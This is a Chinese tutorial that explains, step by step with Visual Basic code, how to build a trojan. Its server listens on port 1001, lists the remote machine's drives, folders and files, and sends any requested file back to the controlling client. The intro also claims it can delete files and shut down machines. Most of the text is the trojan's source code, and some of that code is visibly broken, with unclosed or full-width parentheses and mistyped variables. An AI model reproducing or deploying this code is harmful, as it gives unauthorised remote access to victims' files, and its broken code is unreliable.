VB木马编程全程解析

     本木马程序可以实现对远程计算机的文件查看、文件提取、指定打开特定窗口、删除文件、控制开机、重启、关机等功能，下面让我来一步步讲解如何实现这些功能

首先运行服务端，并在1001号端口监听，其中winsock控件为数组控件，可以实现多连接操作，若不是数组控件，则只能实现一个连接操作

在Form_Load事件中对端口进行监听 

Private Sub Form_Load()
On Error GoTo Form_Load_Error
    intmax = 0
    objTCP(intmax).LocalPort = 1001
    objTCP(intmax).Listen 
Form_Load_Exit:
    Exit Sub
Form_Load_Error:
    MsgBox Err.Description, vbCritical, "Error!"
    Exit Sub
End Sub

在winsock控件中 对 ConnectionRequest 事件进行监听，没有一个新连接，就在内存中分配一个winsock控件，并用它接收连接请求，这样就实现了多连接的操作

Private Sub objTCP_ConnectionRequest(Index As Integer, ByVal requestID As Long)  
On Error GoTo objTCP_ConnectionRequest_Error
    If Index = 0 Then
        intmax = intmax + 1
        Load objTCP(intmax)    '将objTCP(1)加载到内存里
        objTCP(intmax).Accept requestID '用objTCP（1）接收连接请求
        objTCP(intmax).SendData Enum_Drives
    End If
objTCP_ConnectionRequest_Exit:
    Exit Sub
objTCP_ConnectionRequest_Error:
    MsgBox Err.Description, vbCritical, "Error!"
    Exit Sub
End Sub

 上面调用了 Enum_Drivers 函数 ，枚举了服务端所有驱动器，并将返回的字符串发送到客户端

 下面看看Enum_Drivers 这个函数

 Public Function Enum_Drives() As String
 Dim strDrive    As String 
 Dim strMessage  As String 
 Dim intCnt      As Integer 
 Dim rtn As String

 strMessage = "|DRVS|"
 For intCnt = 65 To 86  '从A到V
    strDrive = Chr(intCnt)
    Select Case GetDriveType(strDrive + ":\")
           Case DRIVE_REMOVABLE
                rtn = "Floppy Drive"
           Case DRIVE_FIXED
                rtn = "Hard Drive"
           Case DRIVE_REMOTE
                rtn = "Network Drive"
           Case DRIVE_CDROM
                rtn = "CD-ROM Drive"
           Case DRIVE_RAMDISK
                rtn = "RAM Disk"
           Case Else
                rtn = ""
    End Select
    
    If rtn <> "" Then
        strMessage = strMessage & strDrive & "," & GetDriveType(strDrive + ":\") & "|"  '返回这样的字符串 |DRVS|C,3|D,3|E,3|
    End If  
 Next intCnt
 Enum_Drives = Mid$(strMessage, 1, Len(strMessage) - 1)
 End Function

 通过调用Windows API函数——GetDriverType 返回类似 |DRVS|C,3|D,3|E,3| 这样的字符串

 我们将此字符串通过SendData 方法，发送给客户端。

下面让我们来看一下客户端如何处理

在请求连接的时候，给TreeView 控件增加一个根节点 

Private Sub objTCP_Connect()  
On Error GoTo objTCP_Connect_Error  
        With frmMain
            .tvTreeView.Nodes.Add , , "xxxROOTxxx", txtRemoteComputer.Text, "RC", "RC"
            .tbToolbar.Buttons("DISCONNECT").Enabled = True
            .tbToolbar.Buttons("CONNECT").Enabled = False
        End With
        Me.Visible = False      
objTCP_Connect_Exit:
    Exit Sub    
objTCP_Connect_Error:
    MsgBox Err.Description, vbCritical, "Remote Computer Explorer!"
    Exit Sub
End Sub

  在DataArrival事件中，对接收过来的字符串进行判断，看是否为|DRVS|开头，如果是，则进入 Populate_Tree_With_Drives

Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)
   Dim Strdata As String
   objTCP.GetData Strdata, vbString     
    If InStr(1, Strdata, "|DRVS|") <> 0 Then
        Populate_Tree_With_Drives Strdata, frmMain.tvTreeView
        Exit Sub
    End If
End Sub

 下面看看Populate_Tree_With_Drives

Public Sub Populate_Tree_With_Drives(sDrives As String, objTV As TreeView)

Dim objDriveCollection  As Collection
Dim lLoop               As Long
Dim sDriveLetter        As String
Dim iDriveType          As String
Dim objSngDrive         As Collection
Dim sImage              As String

    sDrives = Mid$(sDrives, 7, Len(sDrives))
  
    Set objDriveCollection = ParseString(sDrives, "|")
    
        For lLoop = 1 To objDriveCollection.Count
            
            Set objSngDrive = ParseString(objDriveCollection.Item(lLoop), ",")
                
            With objSngDrive
                sDriveLetter = .Item(1)
                iDriveType = CInt(.Item(2))
            End With
            
            Select Case iDriveType
               Case DRIVE_REMOVABLE
                    sImage = "FD"
               Case DRIVE_FIXED
                    sImage = "HD"
               Case DRIVE_REMOTE
                    sImage = "ND"
               Case DRIVE_CDROM
                    sImage = "CD"
               Case DRIVE_RAMDISK
                    sImage = "RAM Disk"
               Case Else
                    sImage = ""
            End Select
    
          objTV.Nodes.Add "xxxROOTxxx", tvwChild, sDriveLetter & ":\", sDriveLetter & ":\", sImage, sImage
         
        Next lLoop
Populate_Tree_With_Drives_Exit:
    Exit Sub

Populate_Tree_With_Drives_Error:
    Err.Raise Err.Number, "Procedure: Populate_Tree_With_Drives" & vbCrLf & "Module: modParser"
    Exit Sub
End Sub

我们对|DRVS|C,3|D,3|E,3| 字符串进行解析 解析后包含在集合中objDriveCollection

包含 "c,3","d,3","e,3" objSngDrive再对objDriveCollection 进行解析，解析后为 "c","3" ……

解析完毕之后加入TrewView控件中，这时候我们就可以看到下图所示的效果

如果我们点击硬盘，将弹出此硬盘下的所有文件，客户端代码如下

Private Sub tvTreeView_NodeClick(ByVal Node As ComctlLib.Node)
    Dim sData As String
    Me.MousePointer = vbHourglass
    sData = "|FOLDERS|" & Node.Key
    frmConnection.objTCP.SendData (sData)
End Sub

 如果我们点击的是C盘，那么将向服务器发送 "|FOLDERS|C:\"  这样的字符串

下面是服务端处理的代码

Private Sub objTCP_DataArrival(Index As Integer, ByVal bytesTotal As Long)
 Dim strData As String
 Dim iCommand As Integer
 Dim sData As String
 Dim lRet As Long
 objTCP(intmax).GetData strData
    If InStr(1, strData, "|FOLDERS|") <> 0 Then
        sData = Enum_Folders(Mid$(strData, 10, Len(strData)))
        objTCP(intmax).SendData sData
        DoEvents
        Sleep (500)
        sData = Enum_Files(Mid$(strData, 10, Len(strData)))
        objTCP(intmax).SendData sData
    End If     
End Sub

 我们可以看出 由调用了 Enum_Folders 和 Enum_Files 函数处理，并将此函数的返回值发回客户端 let us go to see

  Public Function Enum_Folders(sParentPath As String) As String
  Dim strMessage  As String
  Dim wfd As WIN32_FIND_DATA
  Dim hFind As Long
  strMessage = "|FOLDERS|"
  sParentPath = NormalizePath(sParentPath)
  hFind = FindFirstFile(sParentPath & vbAllFileSpec, wfd)
  If (hFind <> INVALID_HANDLE_VALUE) Then
    Do   
      If (wfd.dwFileAttributes And vbDirectory) Then
        ' If not a  "." or ".." DOS subdir...
        If (Asc(wfd.cFileName) <> vbAscDot) Then
          strMessage = strMessage & sParentPath & "," & Mid$(wfd.cFileName, 1, InStr(wfd.cFileName, vbNullChar) - 1) & "|"
        End If
      End If
    Loop While FindNextFile(hFind, wfd)
    Call FindClose(hFind)
  End If
  Screen.MousePointer = vbDefault
  Enum_Folders = Mid$(strMessage, 1, Len(strMessage) - 1
End Function

  Enum_Folders 主要功能是 获取驱动器下的所有文件夹名称，返回形如"|FOLDERS|c:\,Recycle.bin|c:\,360Download|"

  客户端接收到此字符串，调用Populate_Folders Strdata 进行处理

 Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)
   Dim Strdata As String   
   objTCP.GetData Strdata, vbString
    If InStr(1, Strdata, "|FOLDERS|") <> 0 Then
        Populate_Folders Strdata, frmMain.tvTreeView
        Exit Sub
    End If
End Sub

Public Function Populate_Folders(sFolderString As String, objTV As TreeView)
On Error Resume Next
Dim objFolderCollection     As Collection
Dim lLoop                   As Long
Dim sParentPath             As String
Dim sFolder                 As String
Dim objSngFolder            As Collection
Dim sFolderList             As String

sFolderList = Mid$(sFolderString, 10, Len(sFolderString))
Set objFolderCollection = ParseString(sFolderList, "|")
    For lLoop = 1 To objFolderCollection.Count 
        Set objSngFolder = ParseString(objFolderCollection.Item(lLoop), ",")    
        With objSngFolder
            sParentPath = .Item(1)
            sFolder = .Item(2)
        End With 
        With objTV.Nodes
            If Len(sParentPath) > 4 Then
                .Add Mid$(sParentPath, 1, Len(sParentPath) - 1), tvwChild, sParentPath & sFolder, sFolder, "CLOSED", "OPEN"
            Else
                .Add sParentPath, tvwChild, sParentPath & sFolder, sFolder, "CLOSED", "OPEN"
            End If
        End With
    Next lLoop
End Function

  [C:\ , $Recycle.bin] ,最后在TreeView控件中增加相应的节点。效果如图所示

再来看看 Enum_Files 函数

Public Function Enum_Files(sParentPath As String) As String    
  Dim wfd As WIN32_FIND_DATA
  Dim hFind As Long
  Dim strString As String
  Dim sFileName As String
  strString = "|FILES|"
 sParentPath = NormalizePath(sParentPath)
    hFind = FindFirstFile(sParentPath & "\" & vbAllFileSpec, wfd)
  If (hFind <> INVALID_HANDLE_VALUE) Then  
    Do 
      sFileName = left$(wfd.cFileName, InStr(fd.cFileName, vbNullChar) - 1)
      If sFileName <> "." And sFileName <> ".." Then
        If wfd.dwFileAttributes <> vbDirectory Then
         strString = strString & sParentPath & left$(wfd.cFileName, InStr(wfd.cFileName, vbNullChar) - 1) & "|" & FileLen(sParentPath & wfd.cFileName) & ","
        End If
      End If
    Loop While FindNextFile(hFind, wfd)
    Call FindClose(hFind)
  End If
    If strString <> "|FILES|" Then
         Enum_Files = Mid$(strString, 1, Len(strString) - 1)
    Else
         Enum_Files = strString
    End If
End Function

 上面函数的主要功能是 调用Windows API 函数 FindFirstFile 传递参数 c:\\*.* ，返回 c:\ 目录下第一个文件，并把结果保存到 WIN32_FIND_DATA 结构体wfd 变量中

 然后去除空字符，FindNextFile 循环下一个文件，把符合条件的文件拼接成字符串结果如下所示  "|FILES|C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24" 

 最后将这个字符串返回，并发往客户端。

客户端接收到请求，调用 Populate_Files 处理

Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)
   Dim Strdata As String   
   objTCP.GetData Strdata, vbString
    If InStr(1, Strdata, "|FILES|") <> 0 Then
        Populate_Files Strdata, frmMain.lvFiles
        frmMain.MousePointer = vbDefault
        Exit Sub
    End If
End Sub

Public Sub Populate_Files(sString As String, objLV As ListView)

On Error Resume Next
Dim objFileCollection       As Collection
Dim lLoop                   As Long
Dim sParentPath             As String
Dim sFile                   As String
Dim objSngFile              As Collection
Dim sFileList               As String
Dim objPartCollection       As Collection

    sFileList = Mid$(sString, 8, Len(sString))
     frmMain.lvFiles.ListItems.Clear
     DoEvents
    Set objFileCollection = ParseString(sFileList, ",") 
        With objFileCollection
            For lLoop = 1 To .Count
              If Len(Trim(.Item(lLoop))) <> 0 Then
                Set objPartCollection = ParseString(.Item(lLoop), "|")
                objLV.ListItems.Add , objPartCollection(1), Get_File_Name(objPartCollection(1)), "FILE", "FILE"
                objLV.ListItems(objPartCollection(1)).SubItems(1) = objPartCollection(2)
              End If
            Next lLoop
        End With
End Sub

 Populate_Files 函数中 sFileList 返回 "C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24" 然后把ListView控件清空，把sFileList按照 ","进行解析 ，把结果保存到 objFileCollection 集合中，其中objFileCollection 集合中的元素类似

[C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24] ，然后循环遍历这个集合，再按"|"进行解析，把结果保存到objPartCollection 这个集合中 ，最后在istView控件控件中把 文件名和文件大小显示出来，效果如图所示

其中文件夹的文件大小为0

选中一个文件，当点击工具栏按钮的保存图标时，执行下面的函数

Private Sub tbToolBar_ButtonClick(ByVal Button As ComctlLib.Button)

Dim iResult As Integer
    Select Case Button.Key 
    Case "DOWNLOAD" 'Starts a download          
            If frmConnection.objTCP.State <> 7 Then
                MsgBox "No connection established!", vbInformation, "Remote File Explorer"
                Exit Sub
            End If
            
            With objCommonDialog
                .DialogTitle = "Save remote file to:"
                .FileName = Me.lvFiles.SelectedItem.Text
                .ShowSave
            
                If Len(Dir(.FileName)) <> 0 Then
                    iResult = MsgBox(.FileName & " exists! Do you wish to overwrite this file?", vbQuestion + vbYesNoCancel, "Remote File Explorer")
                    If iResult = vbNo Then
                        Exit Sub
                    End If
                    
                End If
                Open .FileName For Binary As #1 
            End With 
            bFileTransfer = True
            frmConnection.objTCP.SendData "|GETFILE|" & lvFiles.SelectedItem.Key
            frmDownloading.lblFIleName = lvFiles.SelectedItem.Text
            frmDownloading.Show , Me

首先判断连接是否关闭，如果没有关闭，显示一个保存为对话框，标题为"Save remote file to:" ，文件名为选中的ListView列表中的文本

设置文件传输标志为True

如果本地存在文件，那么提示是否覆盖它，然后在本地创建这个文件，往服务器发送请求字符串，例如："|GETFILE|d:\debug.zip"

接下来我们看看服务端怎么处理

 Private Sub objTCP_DataArrival(Index As Integer, ByVal bytesTotal As Long)
  Dim strData As String
  Dim iCommand As Integer
  Dim sData As String
  Dim lRet As Long
  objTCP(intmax).GetData strData
 If InStr(1, strData, "|GETFILE|") <> 0 Then
          SendFile Mid$(strData, 10, Len(strData)), objTCP(intmax)
          objTCP(intmax).SendData "|COMPLETE|"
 End If
End Sub

 服务端调用SendFile 函数发送数据

Public Sub SendFile(FileName As String, WinS As Winsock)

 Dim FreeF As Integer
 Dim LenFile As Long
 Dim nCnt As Long
 Dim LocData As String
 Dim LoopTimes As Long
 Dim i As Long

 FreeF = FreeFile
 Open FileName For Binary As #99
 nCnt = 1
 LenFile = LOF(99）
 WinS.SendData "|FILESIZE|" & LenFile
 DoEvents
 Sleep (400)
 Do Until nCnt >= (LenFile)
    LocData = Space$(1024) 'Set size of chunks
  Get #99, nCnt, LocData 'Get data from the file nCnt is from where to start the get  
  If nCnt + 1024 > LenFile Then
      WinS.SendData Mid$(LocData, 1, (LenFile - nCnt))
  Else 
    WinS.SendData LocData 'Send the chunk
  End If
  nCnt = nCnt + 1024
Loop
Close #99
End Sub

 我们看到，先发送一个像"|FILESIZE|47052"的字符串给服务器，然后打开客户端选中的文件，每次发送1024字节的数据给客户端

接下来我们看客户端如何处理

Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)
Dim Strdata As String  
objTCP.GetData Strdata, vbString

 If bFileTransfer = True Then
        
        If InStr(1, Strdata, "|FILESIZE|") <> 0 Then
            frmDownloading.lblBytes.Caption = CLng(Mid$(Strdata, 11, Len(Strdata)))
            frmDownloading.objProg.Max = CLng(Mid$(Strdata, 11, Len(Strdata)))
            Exit Sub
        End If
        
        Put #1, , Strdata
        With frmDownloading.objProg
            If (.Value + Len(Strdata)) <= .Max Then
                .Value = .Value + Len(Strdata)
            Else
                .Value = .Max
                DoEvents
            End If
        End With
        
    End If

 If InStr(1, Strdata, "|COMPLETE|") <> 0 Then
        frmDownloading.objProg.Value = frmDownloading.objProg.Max
        MsgBox "File Received!", vbInformation, "Download Complete!"
        bFileTransfer = False
        Put #1, , Strdata
        Close #1
        Unload frmDownloading
        Set frmDownloading = Nothing
        DoEvents
        
        If bGettingDesktop = True Then
            bGettingDesktop = False
            Shell "MSPaint " & App.Path & "\desktop.bmp", vbMaximizedFocus
        End If
        Exit Sub
    End If